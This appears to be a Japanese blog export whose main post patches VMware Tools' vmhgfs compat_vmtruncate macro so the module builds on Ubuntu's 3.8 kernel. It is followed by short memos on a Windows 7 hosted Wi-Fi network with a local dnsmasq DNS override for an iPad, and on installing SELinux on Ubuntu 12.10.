<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciDatagram.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciDoorbell.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciDriver.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciEvent.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciHashtable.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciQPair.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciQueuePair.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciResource.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciRoute.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/driverLog.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> LD [M] /tmp/modconfig-fMqXb3/vmci-only/vmci.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> Building modules, stage 2.</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> MODPOST 1 modules</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC /tmp/modconfig-fMqXb3/vmci-only/vmci.mod.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> LD [M] /tmp/modconfig-fMqXb3/vmci-only/vmci.ko</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: ディレクトリ `/usr/src/linux-headers-3.8.0-23-generic' から出ます</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/usr/bin/make -C $PWD SRCROOT=$PWD/. \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> MODULEBUILDDIR= postbuild</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: ディレクトリ `/tmp/modconfig-fMqXb3/vmci-only' に入ります</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: `postbuild' は更新済みです</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: ディレクトリ `/tmp/modconfig-fMqXb3/vmci-only' から出ます</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">cp -f vmci.ko ./../vmci.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make: ディレクトリ `/tmp/modconfig-fMqXb3/vmci-only' から出ます</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">Using 2.6.x kernel build system.</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make: ディレクトリ `/tmp/modconfig-fMqXb3/vmhgfs-only' に入ります</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/usr/bin/make -C /lib/modules/3.8.0-23-generic/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> MODULEBUILDDIR= modules</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: ディレクトリ `/usr/src/linux-headers-3.8.0-23-generic' に入ります</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/backdoor.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/backdoorGcc32.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/bdhandler.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/cpName.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/cpNameLinux.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/cpNameLite.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/dentry.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/dir.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/file.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/filesystem.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/fsutil.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/hgfsBd.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/hgfsEscape.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/hgfsUtil.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmhgfs-only/inode.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/tmp/modconfig-fMqXb3/vmhgfs-only/inode.c: 関数 ‘HgfsTruncatePages’ 内:</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><span style="color: #990000;">/tmp/modconfig-fMqXb3/vmhgfs-only/inode.c:888:4: エラー: 関数 ‘vmtruncate’ の暗黙的な宣言です [-Werror=implicit-function-declaration]</span></span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">cc1: some warnings being treated as errors</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[2]: *** [/tmp/modconfig-fMqXb3/vmhgfs-only/inode.o] エラー 1</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: *** [_module_/tmp/modconfig-fMqXb3/vmhgfs-only] エラー 2</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: ディレクトリ `/usr/src/linux-headers-3.8.0-23-generic' から出ます</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make: *** [vmhgfs.ko] エラー 2</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make: ディレクトリ `/tmp/modconfig-fMqXb3/vmhgfs-only' から出ます</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><br /></span>
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">The filesystem driver (vmhgfs module) is used only for the shared folder </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">feature. The rest of the software provided by VMware Tools is designed to work </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">independently of this feature.</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><br /></span>
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">If you wish to have the shared folders feature, you can install the driver by </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">running vmware-config-tools.pl again after making sure that gcc, binutils, make</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">and the kernel sources for your running kernel are installed on your machine. </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">These packages are available on your distribution's installation CD.</span><br />
<hr />
<br />
これネットで検索するとエラーの出た該当行、vmware-tools-distrib/lib/modules/source/vmhgfs.tar内のvmhgfs-only/inode.cの888行目<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">result = compat_vmtruncate(inode, newSize);</span><br />
<hr />
<br />
を<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">result = 0;</span><br />
<hr />
<br />
に変えろっていうのが大多数なんですが、ホントにtruncateとかしなくていいのか疑問だったので、調べて見ました。<br />
<br />
まずこのcompat_vmtruncateは、vmhgfs-only/shared/compat_mm.hでdefineされていました。<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/*</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> * In 2.4.10, vmtruncate was changed from returning void to returning int.</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> */</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 4, 10)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">#define compat_vmtruncate(inode, size) \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">({ \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> int result = 0; \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> vmtruncate(inode, size); \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> result; \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">})</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">#else</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">#define compat_vmtruncate(inode, size) vmtruncate(inode, size)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">#endif</span><br />
<hr />
<br />
カーネルバージョン2.4.10より前ならvoid型をint型に変えて、それ以降ならvmtruncateに書き換えるだけ。で、Ubuntu13.04のカーネルバージョンは3.8.0なんですが、カーネルソースダウンロードしてきて探してもありません。Ubuntu12.10の3.5.0で探してみたらありました。mm/truncate.cに。<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/**</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> * vmtruncate - unmap mappings "freed" by truncate() syscall</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> * @inode: inode of the file used</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> * @newsize: file offset to start truncating</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> *</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><span style="color: #990000;"> * This function is deprecated and truncate_setsize or truncate_pagecache</span></span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><span style="color: #990000;"> * should be used instead, together with filesystem specific block truncation.</span></span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> */</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">int vmtruncate(struct inode *inode, loff_t newsize)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">{</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> int error;</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><br /></span><span style="font-size: small;">
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif;"> error = inode_newsize_ok(inode, newsize);</span></span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> if (error)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> return error;</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><br /></span><span style="font-size: small;">
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif;"> truncate_setsize(inode, newsize);</span></span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> if (inode->i_op->truncate)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> inode->i_op->truncate(inode);</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> return 0;</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">}</span><br />
<hr />
<br />
コメントの2ブロック目、ようはもうvmtruncate使うな、ってことのようです。<br />
ちなみにinode->i_op->truncateがあれば呼び出すようになっていますが、3.8.0ではこのメンバはありません。<br />
<br />
ということで私なりにですが、バージョン3.8.0より前ならそのまま、それ以降ならcompat_vmtruncateを上記のコードに近い形で置き換える、という方法を取りました。<br />
<br />
以下その手順です。<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># cd vmware-tools-distrib/lib/modules/source</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># tar xf vmhgfs.tar</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># vi vmhgfs-only/shared/compat_mm.h</span><br />
<hr />
<br />
103行目の<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">#define compat_vmtruncate(inode, size) vmtruncate(inode, size)</span><br />
<hr />
<br />
を以下のように変更。<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># if LINUX_VERSION_CODE < KERNEL_VERSION(3, 8, 0)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># define compat_vmtruncate(inode, size) vmtruncate(inode, size)</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># else</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># define compat_vmtruncate(inode, size) \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">({ \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> int error = inode_newsize_ok(inode, size); \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> if (!error) \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> truncate_setsize(inode, size); \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> error; \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">})</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># endif</span><br />
<hr />
<br />
で、<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># tar cf vmhgfs.tar vmhgfs-only</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># cd ../../../</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"># ./vmware-install.pl </span><br />
<hr />
<br />
なんかWarningでましたが一応コンパイルは通って動くようになりました。<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-z3oAcX/vmhgfs-only/inode.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/tmp/modconfig-z3oAcX/vmhgfs-only/inode.c: 関数 ‘HgfsPermission’ 内:</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/tmp/modconfig-z3oAcX/vmhgfs-only/inode.c:1755:8: 警告: ‘dentry’ はこの関数内初期化されずに使用されるかもしれません [-Wmaybe-uninitialized]</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/tmp/modconfig-z3oAcX/vmhgfs-only/inode.c:1813:22: 備考: ‘dentry’ はここで定義されています</span><br />
<hr />
<br />
当然ですが、ここで紹介した方法によって何が起きても責任は負えませんので。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-33964788578720313102013-07-11T18:49:00.002+09:002016-02-14T00:43:35.305+09:00メモ。iPadとかでdnsだます方法。<br />
<br />
Windows7で管理者権限でコマンドプロンプト起動。<br />
> netsh wlan set hostednetwork mode=allow<br />
> netsh wlan set hostednetwork ssid=hogehogeap<br />
> netsh wlan set hostednetwork key=nyarlathotep keyusage=persistent<br />
> netsh wlan start hostednetwork<br />
確認は <br />
> netsh wlan show hostednetwork<br />
停止は<br />
> netsh wlan stop hostednetwork<br />
<br />
ローカルエリアネットワークでインターネット接続の共有<br />
<br />
Ubuntuで/etc/hostsにだましたいURL入れる。<br />
# dnsmasq<br />
<br />
Windows7でDNSを上のUbuntuに変更。<br />
iPadでhogehogeapに接続。<br />
<br />戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-73628919281520665562013-07-06T11:56:00.002+09:002016-02-14T00:43:46.332+09:00Ubuntu12.10にSELinuxメモ。<br />
# apt-get install selinux<br />
# apt-get install selinux-policy-src<br />
# apt-get install selinux-policy-dev<br />
リブート。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0